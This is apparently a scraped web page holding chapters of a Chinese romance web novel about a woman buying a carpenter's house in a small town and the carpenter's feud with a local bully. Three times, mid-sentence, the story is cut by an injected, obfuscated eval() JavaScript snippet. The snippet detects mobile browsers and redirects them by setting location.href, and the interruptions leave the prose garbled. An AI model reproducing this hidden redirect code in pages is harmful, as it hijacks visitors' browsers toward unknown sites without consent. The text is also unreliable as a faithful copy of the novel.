竹听眠点点头,“那张桌子是你们以前吃饭的地方吗?” 李长青“嗯”了一声,把洗好的梨递过去。 竹听眠道谢,接过来说:“那你一会带它回家吧。” 李长青看着她没说话。 竹听眠像是有些站不住的样子,环顾四周,目光锁定花台以后就直直地走过去。 李长青赶紧从自己工具包里取出毛巾,追过去示意竹听眠稍等,把毛巾铺在红砖上。 “垫着你裙子,院子里脏。” 这次轮到竹听眠看着他没说话。 “这毛巾我还没用过,本来收着准备擦汗的。”李长青以为她嫌脏,赶紧解释。 竹听眠却听得笑起来,坐到他铺好的地方,“李长青,你对每一个买家都这么贴心?” 贴心吗? 李长青不这么认为,所以没有回答。 但他的确希望能把房子卖掉,别说一块毛巾,就是衣服都…… 李长青猝然想起刚才自己被提醒穿衣服的事儿,当即勒令自己不准再发散思维。 竹听眠吃了几口梨,静坐着休息了会,觉得精神也好了一些。 李长青还杵在面前,不说话,也不坐下。 竹听眠问他:“你今天没事儿了吗?” 李长青有些莫名,“有的。” “那你守着我干嘛?”竹听眠又问。 李长青没搞懂这个买家的心思,干脆直接问了:“这房你看着怎么样?有不满意的地方吗?如果是价格或者其他方面,我们可以再聊。” 接着重申:“后续翻新我一定全力帮你,有什么问题我们家都会支持你,要是你打算开民宿或者其他,需要人我也可以帮你找。” 竹听眠安静地听完,先道了句谢。 听起来很礼貌,也很生疏,隐约有些拒绝的意味。 李长青的心沉了下去。 竹听眠又说:“但我不是已经买掉了吗?” 问这句话时,她仰着头,宽大的帽檐上翻卷到脑门上,眸光纯澈,看起来十分真挚。 李长青沉默少时,告诉她:“置业委员会说你要来验房,然后再决定买不买。” 竹听眠又啃了一口梨,点点头,“我知道了。” 知道什么了? 李长青被弄得有些懵。 竹听眠吃完梨,洗了手绕回来坐下,从挎包里取出手机,表情严肃地开机。 做法一样。 李长青眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350525|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眯眼,抱手等着看她要做什么。 手机屏幕在她手里亮起的瞬间,像是开闸一般,疯狂地弹出消息,一条接着一条,然后就是电话。 这阵势,好像全世界都在找她。 李长青看着那些疯狂弹出的界面都觉得头疼,可当事人似乎并不在意,面色平静地操作着。 竹听眠挂掉三个电话,划开数条消息,终于完成了给助理发送微信的艰难大业,然后迅速关机。 “坏了。”她说。 “怎么?”李长青问。 “我考考你。”竹听眠笑吟吟地仰头问,“我的助理会来找我,但是我关机,她要怎么联系我呢?” 煞有介事,一本正经。 好像于她而言使用手机是一件通天难事。 这个语气有点好笑,李长青翘了下嘴角,而后很快压下去,把自己手机递给她。 竹听眠道谢,接过去才问:“方便我用吗?” “方便的。”李长青手机里没有不能看的东西。 竹听眠打开短信界面,开始单手打字。 李长青注意到她熟练地按下一串号码,能背得电话,应该是很亲近的人。 也是因为递手机这一个动作,李长青现在距离竹听眠仅有半臂距离。 很近。 近到足以看见竹听眠操作手机时,最新弹出的消息。 【你个杀人犯的儿子也配和老子抢女人,老子在二丫家等你!】 字数太短,一眼就能扫全消息内容。 这齐群真是磨人。 李长青“啧”了一声。 竹听眠没抬头,很迅速地抬起拇指,把那条消息推开。 【小安,我将一直关机,你到了之后联系这个机主。】 她把手机还回来。 “买房的事儿一直都是我的助理操作,我以为已经完成了手续,最近我们不太有机会见面,所以不了解实情。” 李长青问:“你确定要买了吗?” 竹听眠讶异于他的直白,却也没明说,点了点头,“她带着文件过来我就签字。” 她实在说得太过轻飘飘了。 李长青没忍住问:“你知道是多少钱吗?” 竹听眠摇了摇头。 李长青:“你……” “我怎么?”竹听眠问。 李长青默了一会,咧嘴笑了笑,“挺好的,看起来没吃过苦。” 竹听眠看着他,很轻地笑了一下,“是么?” 又安静下来。 李长青看了人几眼,不确定刚才那条消息她看到了多少,就说:“那短信。” “你放心,我没看到多少内容,”竹听眠说,“但是,你怎么还在约架求爱啊?” 好像重点歪了一些。 李长青说:“不是求爱。” 竹听眠耸了耸肩,又很认真地问:“二丫漂亮吗?” “你这不看完了吗?”李长青觉得有些无力。 竹听眠弯眼笑笑,突然问:“价格是你满意的吗?” “什……”李长青简直被这人东一榔头西一棒子的聊天方式弄晕,才意识到是问房子的价格,立刻说:“很满意了。” 竹听眠又问:“不想加价?” 这个人说的每一个字都像是变数。 李长青尽量圆滑,“真的是很满意的价格了。” 竹听眠看着他没说话。 良久,李长青叹了口气,“价格是我对比考察过的,我没有想要加价的想法,目前我们镇子市场价格就是这样的。” 这个人看起来很老实。 竹听眠重新笑起来,“我再考考你,我叫什么呀?” 刚才已经有过自我介绍,李长青不知道这个问题的意义所在,茫然开口。 “竹听眠?” 竹听眠微微一笑,伸出手指了指门口。 “退下吧李长青。” 李长青紧了紧眉,“不加价也可以的,那个价格我们真的很满意了,你有安排住的地方吗?我——” “房子我会买,你退下。”竹听眠突然变得很冷酷。 5. 苦夏 李长青又做梦了。 身形单薄的女孩昂首立于主席台上,倔强地表达自己对于学校处理态度不公的看法,人群在春樱中为她哗然。 她转身离开,李长青一如既往地追了过去。 拉住她,言辞混乱地安慰人,最后鼓起勇气告白。 他抬头看她。 看到了竹听眠。 “退下。”她说。 其实这份暗恋已然改换定义,与其说是喜欢那个人,不如讲实在难忘那样一个温柔善良的身体里存在的勇敢能量。 李长青疲于生活,拥有这样一个美好的、亲眼见过的勇敢符号,很大程度上支撑他度过这些年。 只是近来梦得频繁了些,甚至还变得混乱,居然梦里代入了别人的脸。 真的很不应该。 李长青久久未能回神,坐在床上搓脸。 搁在床头的手机亮了一下,在夜色中尤为显眼。 李长青眯着眼把手机摸过来,发现是竹听眠白天联系的那个电话。 【好的好的好的,拜托这位机主帮忙照顾眠姐,如果可以的话,请尽量不要让她单独待着,身边最好有人。】 李长青去接了杯水,又回来拿起手机反复看了几遍这句话。 怎么说得像竹听眠是个未成年的孩子,离开监护人就活不了一样。 回忆白天的相处,这个看法似乎是个误会。 李长青把手机丢开,揉了揉头发,暗自抱怨竹听眠那句不太客气的话后遗症太严重,也不晓得今晚还能不能睡着。 三分钟后,他已然滑入了睡眠深处。 真正睡不着的另有其人。 竹听眠随便找了一家民宿,房间里还带着装修的新味。 她把手机放在床头,看着黢黑的屏幕尤不解气,在行李中翻出本笔记,撕下一张,写了“闭嘴”二字盖去手机上,这才稍微觉得舒服一些。 单手洗澡是件很费劲的事儿,她裹了几层塑料袋,伤口依旧见了水,此时又痛又痒。 竹听眠只好仰头细想明日行程,把每一个时间都安排得满满当当,还把平板支好,连上民宿的网络,在耳边放着白噪音催眠,甚至脚心相贴保持还阳卧的姿势。 她认为自己很快就能入睡。 然后失眠到天亮,民宿后院养来不知干什么的那只公鸡嚎开第一嗓子时,竹听眠终于勉强入睡。 * 李长青醒了个大早,睡得神清气爽,为老屋售出而开心,并且文思泉涌,漱口时把想好的话在脑子里过了一遍,下楼吃早点前把它写到日记里。 [昨天买主来了,叫竹听眠,人长得很好看,说话时而客气,时而奇怪,害我梦见她,不过感谢她,或许明天开始会有好日子,后天也行,能好起来就可以。] 写完,李长青朗读一遍,觉得自己文笔有较高的进步,果然书没白度,很是满意。 陈兰磨了豆浆,和儿子打过招呼后和往常一样抬着早点出门,准备给自己住在对门的婆婆送去。 李长青每天的胃口都很好,坐下就往嘴里塞了半根油条,心满意足地嚼起来,接着看已经走出去了几步的老妈折返回来。 “长青啊,你说,我怎么就是觉得不太靠谱呢?她那助理真能过来吗?” 李长青几口把油条嚼烂咽了下去,先安慰老妈,“人家钱都付啦。” 就因为竹听眠并不太能成事儿的态度,李长青昨天又跑了趟置业委员会。 “没这么爽快的买主,钱打了,但是中间牵扯代理人的问题,手续完成也需要代理人到场,而且什么章啊证明啊,都在她助理那,人不来,这交易也没法做啊。” 委员会的人是这么解释的。 又问:“买家不是都来了吗?怎么你还来找我问。” 李长青想着那个一问三不知的祖宗,心说她连付了多少钱都不知道呢。 而且她让我退下。 但这些也不好讲太多。 他跟委员会的人讲自己担心,主要就是没见过那么多钱。 委员会的人再三叫他安心。 李长青的顾虑不是没有缘由的,毕竟这笔钱对李家来说的确重要。 昨天之前,他还没有报太多希望,但见了竹听眠,也看她对屋子很满意,并且自己手上还留有对方助理的电话。 希望已经到达了百分之七十的浓度。 对于这件事,老妈陈兰同样没有安全感,所以李长青需要把自己这些百分之七十调高到百分之九十,同老妈再三说问题不大。 陈兰点点头,又讲:“这丫头一个人过来,人生地不熟的,要有什么跟你开了口,能帮的咱都尽量帮。” 李长青喝了一大口豆浆点着头回应。 陈兰又想了会,干脆坐下,压低声音:“你都不知道,昨天小竹一来,那几个碎嘴的都传上了,讨论她年纪轻轻就这么有钱。” 李长青听得皱起了脸,“妈,你别和她们一起说。” “哪能啊!”陈兰瞪着眼拔高声音,“我还把她们训了呢。” 李长青听得笑出了声。 陈兰看着儿子的笑容,心里的担忧也散去些,“你不说了嘛,人家是我们的,那什么,金主,不得好好供着。” 李长青乐得油条都叼不住,赶紧跟老妈说快去给奶奶送早点吧,一会凉了。 陈兰这才起来,又站定,“你把早点给人送过去吧,陪人家逛逛。” 李长青答应下来,自己囫囵几口塞饱了,去厨房里翻出个篮子,把油条和豆浆分碗装好,又扯了几段干净的保鲜袋,包住碗盘,堆去篮子里。 正拎着要出门,想了想,又折回来从冰箱里拿了两瓶酸奶。 小镇里三步一亲戚,五步一熟人的,打听竹听眠昨晚住哪并不是难事儿。 她住的这家据说是个海外老板买来开着玩儿的,服务员找的本地年轻人,今天守在前台的叫王天,和李长青熟,时常一块殴打齐群。 见他拎着东西进了院子,王天立马招呼:“长青哥,来找你买家啊!” 这话怎么听怎么不对劲。 李长青笑着骂了他一声,环顾着问:“人起了吗?” “没呢。”王天指了指院子边的某个房间。 李长青顺着方向看了一眼,干脆把篮子放在前台,“一会她醒了你让她吃。” 王天应下,又整个人趴到桌沿上问:“今天要去收拾齐群吗?” “不用,”李长青说,“张婶她们昨天下午进城了。” “我听说他昨天带人砸了你院墙啊。”王天说。 李长青“嗯”了声,又往院子里竹听眠住的那间屋子看了一眼。 “不过还好,这姐姐看着是个好说话的,她讲了,要买的,”王天真心为李长青高兴,“要真能成,你也轻松些,哥,你还要回去念大学吗?” “不知道,”李长青手肘撑在台边,忽而扭头看着王天,“你怎么知道她讲了要买,还有,怎么就叫上姐姐了?” 王天瞪着他,“人家昨天来住的时候告诉我的呀。” 李长青:“你问的?” 王天点头。 李长青:“你问她要不要买,她就说要买。” “是啊。”王天没明白这有什么的。 李长青简直无语。 横竖脑袋转来转去的麻烦,他干脆就直接看着院子那边,随意地说:“也大不了几岁,叫什么姐姐。” 他听老妈说了,这竹听眠就二十六。 王天却反驳:“哥,我才十九,人大我七岁呢,我不叫姐姐叫什么?” 李长青看了他一眼,没说话。 王天又讲:“你也得叫姐姐。” 李长青不想跟他聊了,指了指篮子,又讲了一遍,“记得让她吃。” 王天:“啊。” 李长青又说:“别跟她瞎聊我家的事儿。” 王天连连点头,“我懂我懂,买卖没成,我不说。” 李长青又嘱咐几句,接着绕去早市,按例买了一天的肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350526|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,齐齐码好,挨家去送,最后回自家铺子,继续做工。 最近他手里堆了几个大件要出,但排在第一位的是还是二丫的衣柜。 衣柜在女孩嫁妆里寓意婚后富足丰饶,张婶十分上心,就是柜头要打什么花样迟迟没想好,倒是很满意李长青设计的柜体区域划分。 当然,这一单李长青也没有收钱。 他投入工作很快。 先检查榉木板晾晒后的花纹,觉得还是不够满意,所以沉浸式批评了那块木板两分钟,才把它搁去架子上警告它今天好好晒。 接着换上工装穿好皮质围裙,开始雕凿花纹,握住工具的手肌腱绷紧,青筋若隐若现,任由木屑流淌于之间,宽厚有力的手掌落力有度。 还是需要和张婶再商量一下最后打砗磲嵌饰到底要什么花,李长青倒是画了几版稿子,但张婶昨天下午带着二丫进城了,估计还得几天才回来。 见不到这对母女,齐群也消停了些。 还有一个见不到的,就是竹听眠的助理,对方来消息说还得耽搁几天,实在没办法走开,又再三请求机主一定好好照顾眠姐,字里行间都充斥着感恩戴德的意味。 这助理行程推迟,交易悬而未决,状态变得不确定起来。 晚一些,李长青去三叔拿那了一大袋梨,提着去找竹听眠,没有催交易,只是客观地传递信息。 下午四点半,竹听眠还是一副没睡醒的样子,听完之后,居然说了句对不起,又讲:“我知道了。” 李长青有一瞬间的错愕,完全没搞懂为什么竹听眠作为买主要道歉。 可是竹听眠很真诚地说:“我走的时候留下太多烂摊子,她收拾起来真的很麻烦。” 李长青已经开始复盘今天见到人说话是不是太凶巴巴,他有些局促,不自觉地把装梨的袋子捏紧了些。 竹听眠似乎很喜欢穿长裙,连身的那种,也很适合,现在坐在民宿的藤椅里,阳光穿过树叶落她身上,锦上添花。 她垂着头,像是沉浸在抱歉里。 李长青注意到她一直用左手垫着受伤的右手,而绷带和头一天见的时候不一样了。 他尝试找话聊:“你去镇医院处理了?” 竹听眠点点头,瞬间脸就垮了,苦哈哈地说:“太疼了,真的。” 李长青又没法接话了,想了几个安慰的词都觉得不太适合他们的关系。 竹听眠奇怪地抬头瞧他,忽然说:“要是吃到早点,可能会好一些。” 李长青说:“想吃什么,我给你弄。” 竹听眠立马回答:“今天想吃阿拉斯加大螃蟹。” 李长青变得很难客气,“你看我像不像大螃蟹?” 聊天很难进行下去,竹听眠又开始犯困,言说要回屋补觉,很对得起名字里那个“眠”字。 李长青也没有再继续留下的理由,往外走时却被王天拉住,扯去墙角。 “昨晚这姐姐在屋里像是和人吵架了。”王天左右看了看,说的时候压低声音。 李长青皱眉问:“和谁?” “这我哪知道?”王天开始抱怨,“我也不是故意听墙角,你知道我这老板装修的时候没舍得下钱,房间隔音不好的……” 李长青伸手示意他打住,“谁进她房间了?” “哎呀,打电话呀!”王天继续说,“我就听见什么离开啊,结婚啊之类的话。” 李长青“哦”了一声。 王天继续分析:“八成是和对象吵架了,哎呀,你说她对象也是,这么好的人,受伤了也不陪着,让人自己跑我们这吃苦来,你说,哥,哎?上哪去?” 李长青想着竹听眠受伤的手,还有她抱怨疼痛的样子,心里认真地觉得自己八成有点毛病,但是电话已经给三叔拨了过去。 “现在哪可以买螃蟹?国外的那种?” “哪国啊?”三叔问。 “阿拉斯加。”李长青说。 三叔大声问:“你看我像不像阿拉斯加!” 6. 苦夏 秋芒镇前不逢海后不见水的,山里拢共就一个富含矿物质的小水潭,倒也有一条绕着小镇的水沟子,近些年被整改,哗啦啦倒进去好多化学剂,别说螃蟹,就是小龙虾都要变异。 再说买螃蟹这事儿,镇里倒也有水产铺子,就是质量有些感人。 所以隔天一早,李长青趁着去县城送货,顺道买了几只螃蟹,回家后拜托老妈蒸熟,从里面捞了几只出来,跨上摩托就给送去民宿。 到门口,略加犹豫,还是让王天给人送进去,自己转头走了。 竹听眠对着食盒发了半天呆。 王天杵在房间门口没走,“你快趁热吃吧,我听说这东西凉了不好吃。” 又说:“长青哥很少这么奢侈的,他平时都舍不得买肉给自己吃呢。” 竹听眠看了他一眼。 王天又叹了口气,“姐姐,你别怪我多嘴,虽然我不知道长青哥做什么给你买这个吃,你也别浪费,长青哥对螃蟹过敏呢,碰一下就得肿,刚才我瞧着,他手都红了。” 竹听眠看着面前仍在冒着热气的橘红色螃蟹,慢慢伸手摸了摸。 “这样啊。”她轻声说。 螃蟹没被浪费,竹听眠以手伤不方便为由,拜托王天帮自己剥,两人一起边吃边聊,王天铆足了劲儿说了一车长青哥的好话。 竹听眠向王天保证自己一定会好好感谢他的长青哥,但那天之后她就没再见着李长青,每天都能收到吃的,就是看不到人。 像是他在故意避开她。 出于某种我不好太主动否则会显得我实在太过主动的心理,之后两天,李长青除了每天给送早点,再也没主动找过竹听眠。 考虑到对方不同于常人的作息,李长青把热汤和包子类替换成酸奶和酥饼。 尽量让竹听眠下午也能吃到早点。 短时间内,小镇已然充满了她的传言。 漂亮瘦弱的年轻姑娘,独自一人,负伤,有钱。 可以衍生的话题太多太多。 李长青所到之处都能收集到她的消息碎片。 豆腐店大姐信誓旦旦地说竹听眠是逃难至此的富家大小姐,受伤是因为家族恩怨。还有人讲她的手是登山时坠崖,因为看到了一棵从未见过的神草,可惜还是没能采下来。 王天说竹听眠是因为拒绝了一个痴情狂男,对方求而不得,因爱生恨伤了她。 “她说不能透露太多,但她看得出我是可以信任的人,所以告诉了我,”王天得意洋洋地学以致用,“当然,长青哥,你也是我可以信任的人,所以我告诉你。” 版本太过五花八门,竹听眠很大方,有问必答,并且十分认真,末了必定会添补一句,我看和你很有眼缘才告诉你的。 尚未等流言因她而起,她自己就上赶着传播,精心挑着听者想要听见的话,根据不同的好心或是恶意调配言语,说出每一个人想听的话,叫人不好分辨她本人到底想说什么,不爱听什么。 等大家发现彼此得到的答案对不上再争论起来,试图找出一个可行的、真实的答案时,具体真相如何,已然不太重要,毕竟好奇心和虚荣心已同时被满足。 来到小镇的第一关,流言蜚语,居然就这样被竹听眠四两拨千斤化了去。 最离谱的,是李长青按照惯例去送菜,陈家依然闭门不让他进,于是陈家的小胖孩儿同往常一样从侧门悄悄把肉菜接进去。 但这次小孩儿没着急道别,而是神秘兮兮地拉住李长青。 “长青叔,那个漂亮阿姨的手是外星人伤的。”陈小胖谨慎得像是在进行某种接头任务。 “……”李长青开始由衷佩服竹听眠的社交能力,并且感到匪夷所思。 毕竟,人才到了三天,但已经渗透进了每一个年龄阶段。 “她告诉你的?”李长青问,“她跟你也能聊?” 陈小胖这种个位数的年纪,正是很要面子的时候,对于长青叔这种质疑很是不愉快,但也迅速原谅了愚昧的大人,并且嘚瑟地炫耀那个漂亮阿姨同自己说了很多秘密,可他不会告诉长青叔。 于是,当天。 李长青早上买了肉菜挨家送完,再回铺子做了三小时工,估摸着时间差不多,把奶奶的水果推车拉去镇子道前。老妈进城去酒店做保洁,晚上会骑车回来,中午就李长青一个人,也不想吃饭,给奶奶买了碗粉,自己随便塞了几块饼,下午把镇西那家定制的斗柜拉过去,回程时遇见齐群又斗了几句嘴,并着和那群混混推攘几下,没打起来。绕去竹听眠住的那家民宿,得知人还没起床。 见面失败,他去三叔铺子里开小金杯,跑木材厂拉材料送回铺子,傍晚时收到老妈的消息,拜托他去裁缝铺取衣服。 裁缝铺冯阿姨是老妈从小的好友,才见李长青把摩托停在门口就让他等一下。 也是这个等一下,李长青稍微可以歇口气。 没由来的,他想起陈小胖说起外星人这茬事儿,脑海里开始浮现竹听眠一本正经哄骗小孩的模样。 想着想着,居然还笑出了声。 冯阿姨手脚快,取了陈兰的衣服出来,就见李长青对着自家店门口那个光着身子的塑料模特笑。 笑得很是难以言喻。 她当即了然,又叹着气摇头,把衣服递给李长青。 李长青觉得阿姨大概是误会了什么。 当晚,陈兰回家后先是很慈爱地揉了揉儿子脑袋,又苦口婆心说了许多话,最后委婉地问:“长青啊,是不是想处对象啦?” 李长青人麻了。 * “她是真的很漂亮。”孙明仰在躺椅上感慨,用脚尖挂着人字拖,仰面叹气。 盛夏热情烧到顶端,天地一派闷热,李长青没穿工装,光膀子挂围裙,埋头雕花。 闻言,瞟了眼孙明,并不接话。 算起来,到今天为止,他已经有四天没有见过竹听眠,仅有的沟通就是手机里那个助理每天来信,先是抱歉,然后更新自己来签订合同的日期,最后就是请求一定照顾眠姐。 这可真让李长青犯难,毕竟他的确没什么闲暇,而且人都见不着。 就是见着,人也不爱多说话。 隐隐约约地,李长青觉得竹听眠像是在针对自己,又不晓得原因。 不过他所到之处,人人都在谈论竹听眠。 孙明要是家里铺子没事儿,总爱往李长青这里跑,以往都这样,今天过来,人还没坐稳,张嘴就说竹听眠。 “长青,她以后买了房要干嘛呀?”孙明弓着身子,把躺椅拖过来,“她会留在这吗?” 李长青朝面前的木头吹了口气,吹开木屑,说话时看都没看孙明。 半晌,回答说:“怎么可能留在这?” “我想也是,”孙明怅然道,“那种美女,生活中肯定有一万个人追她,谁都得五迷三道,那句话怎么说来着?”他夸张地举起一根指头,“男女通吃!” 李长青瞪他一眼,“别他妈瞎用词。” 孙明挺直腰板,“我怎么瞎用词了?我昨儿个下午见着人了,她冲我笑了笑,我这心啊,当场就化了。” 他捂住胸口,摇着头说:“我觉得我能把命给她,你说怎么就有人能长那么好看呢?这是吃什么长大的?” 李长青手上没停,刻刀在木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350527|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹上游走,闷声笑了,“反正不是吃你家的猪肉。” “哎!”孙明极其不爽地喊了一声,又往这凑了些,还想继续往下说。 李长青正想说挡光了,就听铺子外有人叫自己名字。 里头两人齐刷刷看过去,竹听眠就站在外面。 她今天没穿裙子,T恤略大,一部分扎在裤腰里,因为天热的原因,裤腿微微卷起,露出纤细单薄的脚踝。 李长青再一次想,她真的很瘦。 不由多看了两眼。 竹听眠脖子上挂着个卡片相机,没戴帽子,皮肤被晒得微微泛红,额头上有层薄汗,几缕头发被捉住黏在那,这个人看上去走了不少路。 视线对上时,竹听眠问:“这是你家的铺子?” 李长青“啊”了一声,又点点头。 “在忙吗?”竹听眠又问。 李长青又“啊”了一声用作回答。 孙明听不下去了,回头看了李长青一眼,立马起身,庄重地穿好人字拖,亮着眼自我介绍一番。 竹听眠把视线从李长青脸上移开,看向孙明。 李长青又看了几秒,继续低头做自己的工作。 孙明瞧着竹听眠对木工很感兴趣,立马认真介绍起这间铺子,并且不遗余力地夸赞好哥们李长青的手艺。 他与有荣焉地指着店门口的木雕小狗,“看!这就是长青雕的!十里八乡,再也没有比长青更好的手艺了。” 竹听眠全程都很认真地给予反馈,笑眯眯的,偶尔点点头,听了这话,弯腰蹲下去摸了摸那只小狗。 “是个小狼犬?” “是啊!”孙明赶紧说,“还是个瘸腿小狗,长青可喜欢这小狗了,店里还有瘸腿中狗,瘸腿大狗!” “这样啊……”竹听眠用指头轻轻地点了点那只小狗的爪子,再次看向李长青。 正好李长青抬脸望过去,对视了半秒,他先划开目光,看向竹听眠的手,然后再次低头,继续工作。 他心里盘算着家里有什么好点的茶叶,一会人进来泡给她喝,又想这么热的天,她应该不想喝烫的,冰箱里倒是有饮料,楼上应该有顶新帽子来着,放哪去了…… 就听她说:“那不打扰你们了,我想去前面拍照。” 孙明立马说不打扰不打扰,又关心道:“你单手举得动相机吗?” 李长青看过去。 他不觉得这是一句多么好笑的话,但竹听眠却笑得很愉悦,回答时也用了开玩笑的语气。 “这点力气还是有的。” 然后道别。 竹听眠向孙明微微点头,“再见孙明。” 孙明很不值钱地笑起来,认真说:“再见,竹听眠。” 接着她的视线转向李长青,静静地看着人。 李长青眨了眨眼。 可竹听眠只是不深不浅地笑了一下,没有说话,轻轻颔首之后转身离开。 李长青皱了皱眉。 过了好一会,孙明还依依不舍地扒着门往人离开的方向眺望,“你说,她怎么这么好呢,长青,我爸都不乐意和我多说几句话,她就愿意跟我说话。” 李长青抬腿踹了他屁股一脚,“递把锤。” 孙明捂着屁股嘟囔,但也听话地把东西递了过来,又问:“长青,你平时也不是这么愣的人啊,怎么见了人一个屁都蹦不出来。” “关系不一样,”李长青说,“有经济牵扯,就没法多热情。” “就你道理多,”孙明又重新挂回躺椅上,“那之后也可以做朋友啊。” “都见不了几面,做什么朋友。”李长青闷头雕花。 7. 苦夏 手机来信,竹听眠的助理发来一个行程安排,包括飞机降落,转什么车,甚至还考虑到路上耽搁,最终给了个到镇上的时间区间。 五天后,下午两点到三点。 李长青曾把竹听眠所在民宿的联系电话发给对方,但这个助理坚持联系李长青,把竹听眠的吩咐贯彻到底。 李长青回信:【需要帮你联系车吗?】 【不需要,很感谢你,但需要你帮我联系眠姐,叫她记得时间,这段时间千万别乱跑。】 竹听眠守不守时李长青不知道,随性多少了解一点。 家里老太太每天都要喝新鲜牛奶,李长青下午骑摩托去奶场途中绕道跑了趟民宿,王天告诉他人中午就出去逛了。 昼伏夜出得毫无规律。 不知怎的,李长青突然想起原先家里跑来过一只猫,浑身雪白,有双不染杂尘的蓝眼睛。 它出现在门廊下,安然熟睡,似乎天大地大,全大不过它的心意,喜欢在李长青最忙碌时跳上工作台捣乱,又在家里人闲暇时不见踪影。 出现得毫无征兆,最后离开也毫无征兆。 像是待够了就走。 李长青路过小镇的文化中心,看见了竹听眠,为此放慢骑行速度。 他在王天那留了纸条,现在就没必要去和人当面说话。 但李长青还是多看了两眼。 竹听眠背着手,煞有介事地对着俩下棋的老头指指点点,把人说得暴跳如雷。 取了牛奶,李长青再次路过文化中心。 竹听眠已经加入了象棋对战,桌边围了一堆老头老太对她指指点点,场面严肃,好似这局象棋事关联合国大事。 李长青觉得这个画面有点好笑,干脆停下来,脚撑在路边看了好一会。 直到张婶来电说她和二丫到家了。 李长青让她们在家等,自己回铺子里取了画稿,顺带着提上老妈昨天做的糕点。 总算是定下了衣柜嵌螺的花样,但这一上门,也终于让齐群有机会大做文章。 张婶家又被混混围住。 这一围,人传人,很快半个小镇就得知了消息。 包括文化中心。 竹听眠听见眼看着大家都兴奋起来,身边这些小镇中老年常居吃瓜第一线,见她好奇,便同她介绍李长青可是拼命护着张婶和二丫的。 “不止嘞,李长青谁家不护着?”有人补充说明。 一人一句,好似小镇青年约架是晚会,对峙场面被他们描述得绘声绘色。 很快就不止于聊天,立马相邀奔赴现场。 竹听眠接过身边大姐递过来的瓜子,也没嗑,却问:“他们总打架?” 大姐“哎”了一声,“也没总打,就李长青家里的事儿,我昨天跟你说过的。” 竹听眠点点头。 大姐接着说:“反正那几家谁家有事儿,李长青就会豁了命地护着,下手可狠。” 竹听眠歪了歪头,“李长青经常受伤吗?” “也没听他说到底伤没伤,”大姐兴奋地加快脚步,“就热闹呗。” 竹听眠若有所思地跟在后头,大姐嫌她走得慢,回头拽了拽她,然后很友好地劝她,“你一个外地来的老板,一会别掺和。” 竹听眠对她笑笑,把瓜子还给她,“快快带路。” 也没能真打几次,齐群和李长青作对这么多年,大部分言行都停留在挑衅和辱骂阶段。 一是,李长青轻易不发怒,但凡生气,那都奔着不要命去的,谁都怕死,也怕疼,没人敢真的和他横。 二是,因为众所周知的历史遗留问题,李长青一人要照顾九个家,他不能出事,至少不能是齐群让他出事。 这些道理齐群懂,李长青也明白。 但这次不一样,因为二丫真的要出嫁。 齐群不能接受自己喜欢二丫这么多年没个好结果,只能把怒火发泄到李长青身上,认定一定是李长青从中挑唆。 这次终于是把人堵在门口。 齐群没有参与打斗,抱手在旁欣赏。 围观的人开始劝齐群别下手这么狠,他哪里听得进去,求情的人越多,他越是大喊:“给老子往死里打!” 竹听眠身边的大姐把她往后拉了拉,小声介绍:“齐群今天喊了周边村子里的混混。” 竹听眠注意到还有两个人被架着,无法过去帮助李长青。 是孙明和王天,两个人都红着眼,急得骂娘。 而斗争的中央,李长青被三个人围住,衣服凌乱,没有落下风,但难免挂彩,一记肘击打退侧面的人,右手就被拽住,侧脸没避过拳头,被打得后仰,却像不知道疼一样,立马站直把这拳还了回去…… 时近傍晚,被保护的、白净的院门亮起了灯,飞蛾和各色小虫不知疲倦地往上撞,薄光打在几个纠缠的身影上,尘土飞扬,影影幢幢。 皮肉相撞的闷响,喘\息\粗\重,叫骂叠起,最终被压低的议论声包裹,偶尔听得见求情的话。 目光、议论、怜悯、愤怒、鄙夷。 李长青在旋涡的中心搏斗,夏蝉开始乱吼,声声狰狞,把仲夏烧至焦糊呛鼻。 受伤的治安小狗。 “不报警吗?”竹听眠偏头问身边的大姐。 大姐奇怪地看了她一眼,才说:“一会警察就来,他三叔也会提着刀来,没用啊,管得了今天,谁能管明天?没人能管得了李长青,谁让他老子害死那么多人。” 竹听眠没说话。 大姐以为她是被吓到,安慰:“放心,打不死。” 竹听眠说:“这不还没人来么。” 大姐没听清,让她再说一遍,但竹听眠已经迈步走向旋涡。 “大家都看看!这个杀人犯的儿子怎么勾引小姑娘的!”齐群正喊着,余光瞥见一个人走近。 他认出这是李长青家老屋的买主,那个城里姑娘。 场面很是不堪。 哭声、骂语、打斗、争吵。 竹听眠像是瞧不见这些,散步一样,甚至在路过齐群时,还对他笑了下。 齐群被这个笑容弄得莫名其妙。 她很快就走到院门前,里面一对母女被拦着,年轻些的那个应该就是传闻中的二丫,一双眼哭得红肿。 